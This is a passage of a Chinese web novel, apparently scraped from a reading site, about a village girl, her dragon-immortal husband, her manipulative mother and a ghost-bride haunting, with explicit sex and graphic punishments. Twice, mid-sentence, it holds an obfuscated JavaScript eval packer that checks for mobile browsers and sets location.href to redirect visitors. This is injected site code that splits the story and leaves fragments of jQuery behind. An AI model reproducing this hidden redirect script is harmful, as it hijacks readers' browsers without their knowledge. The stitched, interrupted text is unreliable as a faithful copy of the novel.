“少用什么恩不恩情**阿鸾,你怕是不知道,三百年前,你们九黎族那时的族长,是怎么答应本尊的。
本尊将阿鸾放在你们九黎族的祠堂内受三百年香火供奉,作为交换,本尊答应,庇护你们九黎族三百年。
但你们九黎族有义务,替本尊养全阿鸾的魂魄,将转世后的阿鸾养育成人。
上任族长临终前应该忘记告诉你们现任族长这回事了,所以宋淑贞当年也不晓得阿鸾会投胎进她的腹中。
不过没关系,本尊手里有你们九黎族先任族长签下的承诺书。
如今你们九黎族并未按承诺书上的诺言善待阿鸾,凭此一条,本尊便可让你们整个九黎族立刻从这个世上消失。”
李三猛地僵住,身体一软,瘫坐在地上,三魂没了两魂……
“别!龙仙大人我们知错了,别让我们从世上消失,我、我还没有活够呢……是我们什么都不知道才酿成大错,龙仙大人啊,你高抬贵手饶了我们吧!”
李三算是被吓怕了,哭着爬到龙仙大人脚边给龙仙大人连连磕头。
龙仙大人弯腰,单手捏住李三的下颌,强行抬起李三那张苍老猥琐的面孔,沉声吓唬:
“你们竟敢将主意打到本尊的阿鸾身上,还妄想将本尊的阿鸾炼成守族仙,让本尊的阿鸾,做你们长生不老的药引。真是,活腻了!”
话音刚落,龙仙大人一脚踹开李三,抬指往他眉心点了抹青光,冷酷下令:
“跪在这,磕三千个响头!什么时候磕完,什么时候才能站起来!若不是本尊答应阿鸾不取你们性命,李三,你今晚的下场,便会是被本尊扔去山里喂蛇!”
“不、我不要被喂蛇,救、救命……”李三磕磕巴巴一句话说完,身体便不受控地跪在地上弯腰砰砰磕起了头。
“救命、救命啊……好疼啊!三千个响头我会被磕死的,救命啊……”
收拾完李三,我和龙仙一起离开了他家的院子。
“三千个头,会把他磕成脑震荡吧?”我好奇问龙仙,龙仙没好气地冷冷道:“磕死他活该!”
我颔首赞同:“对!这种人就该被狠狠修理一顿!”
龙仙大人停下步子,回头看我,“今晚,解气吗?”
我也停住脚步,重重点头:“嗯,解气!”
“要记住,人不犯你,你可以不犯人,人若犯你,你必须要还回去。只有在你手上吃了亏,别人在对你下手时,才会斟酌利弊。”
他抬指撩开我鬓角一缕碎发,绕至耳后。
温文尔雅的深情凝视我,弯唇打趣:“要教给阿鸾的,还有很多啊。”
我不好意思地低头,咬住唇角小声喃喃:“你是不是觉得,我很笨,很蠢……什么都不懂,看不开。”
他笑,眸中似有春风过境,拂开万顷桃花,宠溺地抬手弹了下我脑门:
“阿鸾不是笨,只是没人教过阿鸾这些道理,阿鸾的姐姐就被宋淑贞教得极好。无妨,从今往后有本尊陪着你,你不懂的,本尊一点点教你。”
我抬头,感激地看着他。
沉默片刻,主动抱住他的腰,一头埋进了他怀里。
“谢谢你,愿意待我好。”
“笨蛋……”大手在我脑袋上揉了揉,他看了眼今晚的月色,突发奇想:“阿鸾如果真想谢本尊……就先还债吧。今晚天不凉,我们试试在外面。”
我一惊,诧异的赶忙从他怀里出来,心跳加速地红了脸,支吾确认:“你、要在外面?不、不行!万一被人看见了,这种事……”
他不等我说完就把我打横抱了起来,眼底笑意浅浅,柔光诱人:“无碍,我们去山上。”
“啊?”
他铁了心要拉着我在外找刺激,夜深,山上虫鸣阵阵,他将我压倒在松软的草丛里,四面芦苇蒿草正好能形成一个天然帷帐。
身上的衣物被他轻车熟路扒得干净,他不管不顾地欺身吻住我,抓住我一只手,送至衣襟处。
沉醉的嗓音柔柔诱惑:“帮为夫,脱掉衣物。”
我被他吻得面色潮红喘息连连,考虑到自己都已经一丝不挂了,他还穿着衣袍,的确不大公平。
于是眼一闭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15402140|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心一横,胡乱拽开他的衣带扒掉了他的衣物……
“阿鸾……”
肌肤相亲时,他冰凉的体温与我身上的暖意相融,皮肉摩擦间,竟让人生出了快感……
手指轻轻搭在他结实坚硬的胸膛上,男人的大块胸肌勾得我爱不释手。
许是在一起亲密的次数多了,这一回我竟本能地抬起长腿,有意用脚尖摩挲他的白皙体肤。
他察觉到我的小动作,含着我的唇轻笑出声,满意地与我十指相扣,拉我沉入欲海。
“本尊的小阿鸾……真是愈发勾人了。本尊怎就,养了这么一个小尤物。”
我脸红抓紧他的手,指尖掐着他的手背,他也不挣扎。
“阿漓……这么频繁,我们会不会有孩子啊……”
“仙家后代不易孕育,而且,本尊前些年受了伤,应该不会这么厉害,才几回,就让阿鸾怀了宝宝……”
他的意思是,他不能生?
我猛松一口气,大汗淋漓地抱住他脖子,颤声嘀咕:“那就好。”
他听我这么说,倏然拎着我的手腕翻身一滚,将我换了上去,眸光微黯,有些失望揉捏我腰肢,沉沉询问:“阿鸾不想和本尊生孩子?阿鸾也觉得,本尊是个怪物,是个妖孽?”
“没有。”我撞上他失落的目光,心头一软,俯身主动亲他唇角,抱紧他耐心解释:“我是觉得,我还没有做好当妈妈的准备,我怕我不会养孩子……”
指尖穿进他的皓皓银发内,我将自己的气息渡进他口中,与他结为一体:
“阿漓,你不是怪物,你是我……刚结婚的老公。你愿意陪我一生一世,我也会学着,如何去爱你……”
他灰暗的眼底终于再次有了清澈的柔光,扶住我的后脑勺,将我用力按在怀里,喘息着动情低吟:“阿鸾,我的阿鸾……”
乌云蔽月,他护着我滚在松软的草地上翻云覆雨来回折腾了无数次。
直到天边蒙蒙亮,他才抱着披头散发的我下山回家。
我靠在他肩上睡得浑浑噩噩:“都怪你,饺子还在锅里呢。”
他无奈笑道:“怎么还惦记着你的饺子?”
肯定惦记啊,我忙活了一下午呢!
——
李三王麻子他们遭了报应的事很快就在村里传开了。
刘彪断了一条腿,他老婆发现他时,他身上爬满了红彤彤、吐着红信子的赤环蛇。
他老婆喊了村里好几个青壮年男人才用钉耙耙掉他身上的毒蛇,把他从自家菜园里运回屋。
村里的赤脚医生上门去给他看了病,说他虽命大没被蛇咬,但一条腿已经彻底废了。
整条腿的大小腿骨都碎了,即便是送去省城大医院医治,也于事无补。
陈二爷则被纸人用麻绳吊在树上勒了一夜,没被勒死,可现在一看见纸人就应激,甚至都被吓得大小便失禁了。
赵黑子天亮才从乱葬岗爬回来,身上被野狼咬得血肉模糊。
我妈本来想去看看他,但却被他老婆拦在了门外。
说是赵黑子死活不愿意见外人,刚从乱葬岗回去就发起了高烧,都灌两回退烧药了,身上还是滚烫的,不知是不是感染了狂犬病毒。
而王麻子与李三那边更不好受,王麻子没了命根子自尊心严重受挫,一清醒过来就在家里闹着要上吊。
李三则磕头磕伤了脑子,如今见人只会傻笑。
我妈从王麻子那里知道了是青龙仙把他们吓成这样的,于是中午我睡醒从床上爬起来,我妈就黑着脸赶来找我算账了。
“昨天的事,你和龙仙说了?你这孩子怎么这样不懂事!那些人可都是看着你长大的本族叔伯,你怎能对他们下这么重的手,一个二个不是残废了就是傻了,这和杀了他们有什么区别!”
我坐在堂屋里低头剥花生没回话。
我妈见状更生气了,从我手里夺走那筐花生暴躁道:
“我和你说话你听见没有?镜镜,你昨天不是亲口答应妈了吗?
妈再三嘱咐你别把这件事闹大,你怎么突然就耍起小孩子脾气了!
现在好了,他们只是打了你一棍,你却要了他们半条命!
妈以前都是怎么教你的?你是妈的女儿,是九黎族族长的女儿,你要对你的族人包容,宽宥!”
我拍拍手镇定回答:
“我没有主动找龙仙告状,是龙仙昨晚回来自己发现的。他问我是谁伤的,我又没法瞒他,只能照实说了。”
我妈一巴掌拍在茶几上,怪罪道:“他问你,你就告诉他吗?你就不能找个理由敷衍过去吗?实在不行,你就说是你自己不小心摔的,撞的!”
我不卑不亢地反呛回去:“龙仙会信吗?我不说,龙仙就不会知道真相吗?”
我妈噎住,半晌,又道:“那你怎么不拦一拦他!王麻子都和我说了,昨晚是你带龙仙找到他家的!”
“我为什么要拦?别人也就算了,王麻子和李三他们已经不是第一次欺负我了,让他们涨涨记性也好。
妈,我还是你的亲女儿吗?明明是我受了委屈,为什么你却护着伤害我的人?
如果昨天你没有及时赶过去,我还有没有命回家都难说。
妈,你不是说你心疼我吗?可为什么,我一点也感觉不到……”
我低头面无表情地说。
我妈一怔,语塞沉默住。
许久,可能是怕我多想,便松口道:
“罢了,这次的事就算了,但镜镜,你听妈的话,下不为例好不好?”
我抬眸扫了妈一眼,塞了两颗花生进嘴里。
我妈站起身,走到我跟前拍拍我肩膀给我洗脑:
“镜镜,你这孩子打小就懂事,妈对你最放心了。
妈知道你这次是受了很大的委屈,所以才气不过想要报复他们,李三王麻子平时确实嚣张惯了,应该给他们点教训尝尝。
可镜镜,别让妈为难,好不好?相信妈,妈不会再让任何人伤害你了!”
我昂头看她,对上她深沉的目光,心里毫无波澜。
如果换做之前,我肯定会立马就信了,但现在……我只会觉得,妈的演技真好。
妈拉住我的手,循循诱导:
“所以镜镜,你在妈面前发个誓,发誓以后再也不找龙仙告状,不怂恿龙仙帮你伤人了。”
第16章 前世今生,阿鸾都是最疼本尊的人
又要我发誓。
我冷漠地把手抽回来,
“妈,你知道,现在龙仙就是我的靠山。姐姐都是怎么和村里人说的,您清楚。
她们现在把我当做眼中钉,对我恨不得除之后快。
我理解妈是族长,很多情况下都是不能明目张胆偏心我这个女儿的,所以我如果想在月阴村安稳生活下去,只能另找靠山依附。
而龙仙大人就是现成的新靠山,既然妈你保护不了我,那我只能去求龙仙大人庇护了。
我没有怂恿龙仙大人帮我伤人,我只是在自保。”
妈一听这话,脸色更沉了,皱眉冷冷道:
“你是在怪妈没有为了你惩罚王麻子李三他们吗?妈是族长,妈如果为了这点小事闹得整个月阴村鸡犬不宁,族人们会说妈以权谋私的!妈以后管理阖族,还怎么服众!
镜镜,你以为龙仙就是什么好东西吗?你是骨仙转世不假,三百年前也的确是他把你送来月阴村的,可前世归前世,今生是今生,前世你们或许是一个世界的人,但今生你是人!他是龙!
即便他是仙,他也不是正统仙家,他这种龙仙我见多了,不过是哪条江河里的龙妖得了道,才成了仙家!说好听点,是龙仙,说难听点就是水里的妖物!
你们在一起是不会有好结果的,他下手如此狠辣,可见他妖性未除。
妖类性情阴晴不定,他现在对你好,给你撑腰,来日说不定他就会以同样手段伤害你!”
妈抬胳膊揉了揉我的脑袋,眼神真挚地劝我:
“镜镜,你和妈、还有姐姐才是一个世界的人。我们的身体里,流着相同的血液,妈是你的亲人,只有妈才会真心实意为你着想!”
我暗暗攥紧手,指腹用力捏碎一粒花生,花生碎块硌得掌心酸痛。
她说得好听,为我着想?
为我着想就是把我当做来路不明的野种,就是眼睁睁看着我被欺负,却还要站在施暴者那边洗脑我要大度懂事……
“妈。”我昂头静静盯着她,平静发问:“如果被欺负的人是花枝,如果嫁给龙仙的人是花枝,你还会让她发这种誓吗?”
妈一愣,顿时目光飘忽,魂不守舍地敷衍我:“妈当然、妈对你们姐妹俩都疼爱,都一视同仁……”
我勉强冲妈扯出一抹笑意,“那妈,我也想通了,姐姐还需要我的皮吗?不如就让姐姐代替我嫁给龙仙吧?”
妈闻言目中一亮,激动惊喜地一把抓我的手,欣慰道:
“你想通了?好啊,不愧是我的女儿!你和你姐姐交换身份,你做守族仙,你姐姐嫁给龙仙,两全其美!”
我假装低头内疚:“可是,妈你刚才还说龙仙大人妖性未除,我抢了姐姐的身份,让姐姐替我嫁给一个妖物,这样会不会太委屈姐姐了。”
余光扫见门外的一片青色衣影。
妈拍拍我的手背欣然道:“没事,你不用担心你姐姐,只要你姐姐代替你和龙仙双修,龙仙身上的仙气就能滋养她,助她也成仙!”
“到时候,姐姐既不用做守族仙,被族人当成长生不老的药引子,又能利用龙仙大人修炼成仙,妈对姐姐真好,恨不得把天底下的所有便宜都送到姐姐跟前,让姐姐占个遍。”我淡定说出妈的计划。
妈老脸陡然一青,甩开我的手:“镜镜,你这是什么话!”
我冷笑一声:
“这不就是妈妈你内心的真实想法吗?我嫁给龙仙大人,你说龙仙大人妖性未除,要我疏远龙仙大人,还想让我主动放弃龙仙大人这个靠山,斩断自己的退路。
可姐姐嫁给龙仙大人,你就想利用龙仙大人让姐姐成仙。
你说你对我和姐姐一视同仁,那为什么姐姐现在都恢复年轻容貌了,你还愿意让我和姐姐换皮,互换身份!
妈,你根本不是心疼我,怕我被龙仙伤害,你是想让姐姐嫁龙仙,好借助龙仙一步登天。
你知道龙仙大人厉害,更清楚有龙仙大人在,以后月阴村的人就不能轻易动我。
所以,你不想把龙仙这份顶好的资源白送给我,你想让从龙仙大人身上获益的人,变成姐姐。
你爱的,永远只有姐姐一个。”
真相被我揭穿,妈的脸色越发阴沉难看,咬牙坚持道:
“妈都是为你好!镜镜,你误解妈了,妈只是想把你留在身边好好照顾。”
我早已不再相信她的任何好听话了,下定决心道:“我不发誓!以后我也不会再忍了,谁欺负我,我就报复回去,这窝囊的冤大头谁爱当谁当去吧!”
“你、你这个死丫头!”我妈气急败坏地扬起巴掌就要打我:“连我的话都不听,真是白养你了!”
我下意识害怕别过头,闭上眼睛硬着头皮等待她的巴掌落下——
可,两秒钟后,意料之中的痛感并没有出现……
我恍惚睁眼回头,却看见我妈的手僵在半空,整条手臂都被一缕盈盈青光缠绕控制了住……
而妈本人,则怔愣在原地,瞪大双目,面白如纸。
“本尊才半个时辰不在阿鸾身边,阿鸾就差点,又被人欺负了。”
富有磁性的轻佻嗓音在耳后响起,我诧异扭头,只见龙仙大人负手弯腰,俊脸凑近我耳畔,深眸痴痴凝视着我,薄唇轻抿,嘴角微微上扬……
像极了电视剧里喜欢调戏正经人家姑娘的纨绔公子。
一缕银发垂落在我肩头,与我的青丝融为一体。
我紧绷的脊背放松下来,指尖勾起他的银发把玩,如释重负:“你怎么突然就出现了,吓我一跳。”
他握住我把玩他银发的那只手,瞟了眼被他施了定身术的我母亲,故意说反话:
“要不然,怎能见到这么一场好戏?宋族长可真是聪明睿智,论计谋手段,本尊都要甘拜下风了,本尊真是对宋族长,佩服的五体投地!”
一个响指,我妈手臂上的青色荧光消失,恢复自由。
“龙仙……”我妈惊恐万分地低头给龙仙行礼。
龙仙大人温柔与我十指相扣,语气淡淡地给我撑腰:“族长想让阿鸾发什么誓?不妨说给本尊听听。”
“龙仙,我……”我妈低着头不敢直视龙仙,踌躇片刻,睁眼说瞎话:“老身、是怕镜镜这孩子年纪小不懂事,什么鸡毛蒜皮的小事都惊动龙仙大人,扰了龙仙清修……”
龙仙大人嗤笑:“宋族长倒是蛮为本尊考虑的,不过,宋族长以为,本尊的人受了伤,是小事?”
“老身、老身没有别的意思……龙仙大人勿怪,月阴村的百姓们头脑简单,他们只是一时脑热,没有恶意。”
“没有恶意都敢下这么重的手。”龙仙陡然沉下嗓音,深眸冷冽:“那有恶意,岂不是更不得了!”
我妈被龙仙一句话震得连忙跪下身:“龙仙大人,还望您看在我们月阴村遵守诺言照顾镜镜三百多年的份上,宽恕我们吧!”
龙仙大人站直身,居高临下地睥睨她:
“本来,也没想弄死他们。本尊答应过阿鸾,不**。
宋淑贞,你让阿鸾做什么事之前,是不是该先过问一下,本尊的意思?”
“龙仙大人,老身、知错!”我妈俯身将头埋得更低些。
“知错便好,给本尊记住,下不为例。”
龙仙大人握住我的肩膀存心呛她:
“不然,本尊一个妖性未除的非正道仙家,万一突然手痒了,想杀个人屠个村玩玩……”
我妈被吓得声音都在颤抖,赶忙承诺:“不会了,龙仙大人、老身再也不敢了!”
龙仙大人一个瞬移,下一秒就出现在我妈的身侧,负手弯腰,凑近我妈温声警告:
“若是本尊哪天发现,本尊夫人的壳子里,装了旁的女人……本尊就把她,千刀万剐,挫骨扬灰。再将你们九黎族,杀光,一个不留。最后,再送你,去和你的女儿、族人们团聚。”
龙仙勾起唇角说完这些话,母亲已经三魂被吓掉了两魂,体力不支地瘫倒在了地上……
“行了,滚吧!”龙仙大人一拂广袖,任性打发。
我妈瘫在地上反应迟钝的半晌才艰难爬起来,眼神空洞的转身踉跄逃离东院。
我扶着茶几站起来,目送着她的背影走远,心里不是滋味。
哪有人,不渴望得到母亲的爱……
可我此生,注定得不到她的在意。
“本尊还以为,小阿鸾真要把本尊让给那个脏女人呢。”龙仙从后环住我的腰肢,贪婪吮吸着我身上的气息,将我用力按在清凉怀抱里。
我歪头不好意思地红了脸:
“怎么可能……她们只想利用你,根本不是真心喜欢你,她们还嫌你是妖物呢。真把你让出去,岂不是在坑你。”
他轻笑:“本尊的小阿鸾啊,总是时刻为他人着想。”
抬指挑起我的下颌,他暧昧吻我耳根,温热吐息扫得我脸颊发烫:
“除了这个原因,难道,就没有一点点,阿鸾在意本尊、舍不得本尊的因素在吗?”
我听完他的话,心陡然跳得极快,面红耳赤地低头,小声支吾:“你、又逗我……阿漓,你怎么成天没个正形……”
他箍在我腰上的手臂猛一收,我后背忽用力撞在他结实的胸膛上,灵魂被他满怀的清凉莲花香包裹。
深深一个吻印在唇边,他亲昵暧昧地用修长玉指细细摩挲我滚烫的脸颊,不依不饶地追问:
“阿鸾,告诉本尊,有没有一点点,是因为阿鸾舍不得本尊……阿鸾、喜欢本尊……”
我羞得无地自容,咬住下唇,抓紧他揽在我腰上的那条手臂……
头皮发麻地一咬牙,重重点头。
“嗯!有!”
他待我那么好,那么温柔……我怎么可能完全不喜欢他。
人都是自私的,从小到大,我在家人身上没感受到的温暖,他却给了我……我怎么可能再舍得将他拱手让人。
况且,他本来就是我的。
如果姐姐才是骨仙转世,我当然不会和她抢。
可现在我才是骨仙,青漓……本来就是我前世的恋人。
是我的,我绝不会放手!
他得到我的答案,眼底柔情更甚,轻轻咬了下我的脖子,欣慰放松道:
“我便知道,阿鸾不可能不要我……前世今生,阿鸾都是最疼我的人。”
我家这位龙仙大人的性格,好像并不似表面那样冰冷淡漠,他明明、很会撒娇嘛!
——
下午,我陪龙仙大人在家里种果树。
龙仙大人出力栽了两棵桃树与两棵杏子树,我在边上给龙仙大人打下手,给小树苗埋土浇水。
果树刚栽下去,今年肯定等不到果实了,至少还得两年后才能吃到自家种的桃子杏子。
四棵果树种完,堂屋东边还有块空地。
我突然想起李大叔家里有枣树树苗,过年那会子他还问过我要不要移一棵种在家里来着。
再种棵枣树在东边,这院子就不空了。
于是我直接拉着龙仙大人一起去李大叔家里要东西了,反正大家都是熟人,李大叔早就见过龙仙大人,再见面也不至于尴尬或不方便。
可让我没料到的是,仅一夜没见,银杏就病得下不来床了!
李大叔倒了碗温水,将烧半截的符纸丢进去,再扶起银杏给她灌下。
等银杏喝完水安生了,躺在床上闭眼睡下了,李大叔才掏出火柴划火给自己的点燃一杆烟。
心情郁闷地边抽边叹气。
我伸手试了试银杏的额温,还在发着烧,额头烫手,担忧地问坐在门口抽**的李大叔:“银杏这是怎么了?为什么突然病得这么厉害!”
李大叔张口吞云吐雾,瞧了眼守在我身旁的龙仙大人,无奈道:
“是被脏东西冲撞到了,昨晚杏子去老同学家参加喜宴,回来就上吐下泻高烧不退,吓得我一整宿都没敢合眼,连灌了杏子五道符水,才让杏子老实下来!
现在杏子的情况已经比昨晚好多了,只是那东西怨念太重,杏子又不小心撞上了她,一时半会估摸好不了了,还得再灌她两天符水,才能把她从鬼门关里拉回来!”
“撞上脏东西了?”我惊讶追问:“什么脏东西?喜宴上怎么会有脏东西呢,不是说脏东西最怕红事吗?”
“是红煞。”龙仙大人平静道:“喜宴上的脏东西,应
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15402141|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该就是新娘本人。”
“啊?”我更糊涂了。
新娘,红煞……这到底是什么和什么啊,我完全听不懂啊!
李大叔闻言拿着烟杆站起身,走近我们,点头道:“是,昨晚的新娘就是一只红煞,昨晚的婚礼也不是普通婚礼,而是一场阴婚。”
“配阴婚……”
新娘是**?!
龙仙大人见我一脸迷茫,便从容解释道:
“阴灵沾喜而变红煞,见红煞者,会被摄走魂魄,肉体也会被红煞身上的阴气冲撞而遭到损伤。
要么,重病在床,高烧不退。要么昏迷不醒,魂魄挪位。
看银杏这样子,应是她爹提前出手封住了银杏体内两魂七魄,所以她现在只是处于昏迷状态,还没有魂魄离体不知所踪。
只需用符水将她体内的阴毒逼出来,再从红煞那寻回被摄走的一魂,她就能转危为安。
红煞不同于普通阴灵,普通阴灵见光则灭,仅有魂体,没有实体,而红煞则能继续宿在自己已死的躯壳内,在阳间行动自如,别人看着,就像个正常大活人一样。
阴灵变红煞,要么是因死后怨气太重,灵体力量太强执念太深,由普通魂体化成了厉鬼,这才有附身或借自己尸体滞留阳间的力量。
要么,就是有妖物出手相助。”
说着,龙仙大人抬起冷冽眸光看向李大叔,开门见山地问:“昨晚那只红煞,属于前者,还是后者?”
李大叔怔了怔,随即无奈笑笑,尴尬道:“龙仙大人果然慧眼如炬,什么都瞒不住您。昨晚的红煞,是后者。”
龙仙大人挑眉:“和灰狐狸有关?”
李大叔点点头:
“那只红煞,和灰狐狸手下一条蛇精有关。
红煞摄去的魂魄都供奉给了蛇精,那条蛇精和红煞都不好对付……我从前就和那条蛇精交过手,她道行很高,我在她手里讨不到便宜。
我也是实在没办法,只能请龙仙大人出手救我闺女一命了。”
龙仙大人冷哼一声:“你如何断定,本尊一定会救你女儿?”
李大叔意味深长地看了我一眼,道:“就凭我女儿和小鸾镜是一起长大的好朋友。”
龙仙大人拧眉,没再说话。
我见状赶忙配合地抓住龙仙大人胳膊,低声祈求道:“阿漓,你救救银杏吧,银杏是我最好的朋友,她要是有个好歹,我们以后就没法来李大叔家蹭饭了!”
龙仙大人怔了怔,低眸看我,拿我没办法地抬手轻刮我鼻头,宠溺道:
“夫人开口,本尊岂有不从之理。罢了,看在你们父女来从前没少照顾阿鸾的份上,本尊就帮你们一回。”
李大叔欣喜揖手:“那就多谢龙仙了。”
龙仙大人行到银杏床边,掌心聚起一团青色灵光,朝银杏头顶罩去。
不多时,就有缕缕黑气从银杏的眉心钻了出来,被龙仙掌中的青光尽数吞噬。
只十几秒钟的功夫,银杏就昏昏沉沉地睁开双眼,苏醒了过来。
龙仙拂袖收回法力,我忙坐到银杏床头,将虚弱的银杏扶起来:“银杏!银杏你感觉怎么样了?有没有好一点?”
银杏无力地倚在我怀里,看了眼床前站着的李大叔,没说话……
视线悠悠落在龙仙大人身上,猛喘了口粗气……
突然惊坐起身,反应慢半拍的亢奋欢呼:“呀!帅哥!”
李大叔:“……”
我:“……”
银杏这不靠谱的姑娘看见龙仙大人眼都直了,头不疼了,人也不虚弱了。
爬起来跪在床上就往龙仙大人身边挪,一脸花痴地冲龙仙大人傻笑:
“好好看啊!你是哪家的小公子啊,嘿嘿嘿,落进姑奶奶的手里,就从了吧!乖啊,姑奶奶一定好好疼你,嘿嘿……”
边说,还边伸手要去扯龙仙大人的袖子。
关键时刻李大叔惶恐地一把握住银杏手腕,惴惴不安地咳嗽两声,向银杏沉声介绍:“杏子,不可没规矩,这是龙仙!”
银杏嘴角的笑瞬间僵在了脸上,唇角疯狂抽动。
下一秒,默默坐回我身边,拎起被子将自己裹得严严实实,只露个头出来……
欲哭无泪地望着我诉苦:“镜镜,你也没和我说你老公长得这么帅啊!”
我尴尬呛住,懦懦缩脑袋:“你也没问啊……”
银杏磕磕巴巴地拖着哭腔谴责我:
“我、以为、龙仙、又丑又凶……谁家龙仙、长得这么好看、人模人样的……
呜,对,是你家龙仙……真是、龙不可貌相……
呜呜呜,还好我没拽到他,不然、我的双手啊……他肯定会剁了我的爪子的!
镜镜啊,你能不能、管好你家龙仙!”
龙仙:“……”
李大叔呛了口烟,自顾自低喃:“有时候真会因为自家闺女太丢人而尴尬到脚趾头抠地……”
**笑两声,“其实龙仙大人也没有这么凶残哈……”
“我不信我不信我不信,村里人都说他会**来着!”
“那是他们胡说八道,我就没见过我家龙仙**……”
银杏振振有词:“废话,他肯定不会当着你的面**啊!”
我:“……这是谣言,污蔑!我家龙仙是仙家,仙家只会救人不会**。”
银杏还是不相信,指着龙仙向我告状:
“你看,他现在瞧我的眼神就像是想**……
呜好看的男人都有毒,镜镜你答应我,一定要保护好我,他吃别人无所谓,千万别吃我和我爸啊!
我还这么年轻,我还没嫁人呢,我爸还没搂上孙子呢,不能英年早逝啊!”
李大叔噎住,彻底说不出话了。
龙仙大人拧眉冷冷盯着银杏,片刻,忍无可忍道:“算了,还是不救了!”
“啊?”我心下一慌,着急地一把搂住银杏帮她说情:“别啊,救了又杀多麻烦……”
一本正经地再回头吓唬银杏:“你再胡说八道,他现在就会吃了你!他、吃完人都不带剔牙的!”
银杏被吓得娇躯一震,打了个嗝,捂住嘴小声咕哝:
“呜我就说他会**吧,你还骗我!”
第17章 红煞掏心
我哽住,无奈地放弃反抗:“行吧,你就、当他**吧。”
李大叔震惊:“???”
龙仙大人怔了怔,叹气:“……”
银杏从我这得到想要的答案,这才心情舒坦,手从嘴上拿下来,没心没肺道:
“那**就**吧,反正这个月阴村里也没几个好人。只要别吃我和我爸,还有镜镜就行,剩下的您老人家挑着塞牙缝吧!”
李大叔闻言被一口老烟呛得直咳嗽,赶忙责备道:“鬼丫头,胡说八道些什么呢!也不怕遭业障烂口舌!”
银杏理直气壮地嘟囔道:
“本来就是嘛!月阴村里里外外都肮脏透了,要我说,他们被长生媚术反噬翘辫子纯属造孽造多了活该,龙仙大人就不应该救他们!”
“月阴村虽气数将尽,但却命不该绝。你啊,还是少这么口无遮拦,再怎么说,你我爷俩现在还寄居在月阴村。
是月阴村给了咱爷俩一块容身之地,谁都有资格说他们的不是,唯独咱爷俩不行,咱爷俩不能恩将仇报啊!”
李大叔掸了掸烟锅里的烟灰,问起正事:“对了,昨晚你到底看见什么了,快详细说说!”
银杏皱眉思忖:
“昨晚,我去老同学冯章家里吃他哥哥嫂子的喜宴,宴席上一切都挺正常的,我听同桌老太太说,冯章哥哥冯文新娶的老婆是大城市的姑娘,重点大学毕业的研究生。
大学学的专业是古文化研究,她本人也对古代的礼仪文化比较感兴趣,所以特意要求冯文一家按正经古代婚礼流程给她办婚宴。
古代人结婚都是傍晚举行仪式,冯文和她的婚宴也安排在晚上。
冯家对这个儿媳妇相当满意,冯文也待这个新老婆百依百顺。
为了讨新媳妇开心,冯文更是提前半个月让省城的中式婚礼工作室给新娘定做了一套绣满金线、镶满珍珠的霞帔嫁衣,连新娘子头上戴的花冠凤簪都是纯金打造的!”
李大叔猛抽一口老烟:“你这个老同学,他爸不是清河村的冯大头吗?”
银杏点头如捣蒜:“对,就是冯大头。”
李大叔不解道:
“以冯大头的家境,他哪来那么多钱给儿媳妇做纯金凤簪花冠?还定做绣满金线镶满珍珠的霞帔嫁衣!
他大儿子,我记得是五年前大学毕业的,毕业以后一直在外做楼房销售,房地产销售是挣钱,可也不至于五年赚那么多吧!
金嫁衣金凤簪说买就买!他大儿子要是真挣到了钱,也不至于全家现在还挤在两层老破旧楼房里啊!”
银杏激动地爬出被窝:“说到这啊,就是重点了!不是冯文赚到大钱了,而是新娘子嫁过去之前,直接上交了冯文爸妈三百万陪嫁!”
“三百万?!”我震惊不已,三观都要被银杏刷新了:“大城市的新娘子,嫁到农村来,还要提前上交天价陪嫁给婆婆?这到底是嫁人,还是倒贴啊!”
银杏赞同道:“就是啊!我也是头一回听说新娘子出嫁,陪嫁直接给公婆的。所以新娘子和冯文婚礼上所用的开销,其实都是新娘子自己出的。
而且新娘子无父无母,是个孤儿,和冯文是大学同学,大一就走到一起了。
后来冯文大学毕业选择出去工作,新娘子就继续考研,去年才研究生毕业。
新娘子刚毕业就被一家搞科研的公司给高薪挖了去,新娘子给的三百万陪嫁,就是新娘在公司做的上笔项目的奖金。
只不过,我还听说,冯文不太想让新娘子在原来公司继续工作了,冯大头两口子和他们的亲戚说,搞科研的男女都不正经,经常在一起孤男寡女的出差。
他家儿子嫌儿媳妇的工作环境太脏,就说服儿媳妇从原公司辞职了,打算以后就让新娘子老老实实在家备孕生孩子。”
我越听越觉得头皮发麻,“真的、只是说服吗?大城市里本可展翅翱翔九天的凤凰,却逼她留在小山村里学家养的母鸡孵蛋。那她之前读书时的辛苦,读研时的努力,又算什么?”
既然在大学毕业后选择继续读研,就证明她想努力攀登到更高点。明明有年薪百万的好工作,只要她坚持下去,前途肯定一片光明。
怎么可能会甘心留在山沟沟里,做给人传宗接代的生育机器。
“可能,算恋爱脑发作,精虫上头呗!”
银杏精神抖擞地说下去:
“你们是不晓得,那新娘子和冯文的感情可好了。好到恨不得把自己的心肝都掏出来送给冯文的地步!她是大城市户口,和冯文领证后,立马要把户口转到冯文家。
冯家前一阵子说要盖栋小别墅,新娘子二话没说就把自己全部积蓄给了未来婆婆,昨天他们结婚,冯家那老太太和小姑子身上穿着的,可都是上好的丝绸旗袍!”
李大叔冷哼一声,掏出手绢擦烟杆:“一个重点大学的研究生,下嫁给一个普通大学的大学毕业生,还倒贴了全部积蓄,闻所未闻啊!还真是下了血本!”
银杏脸色沉下来:
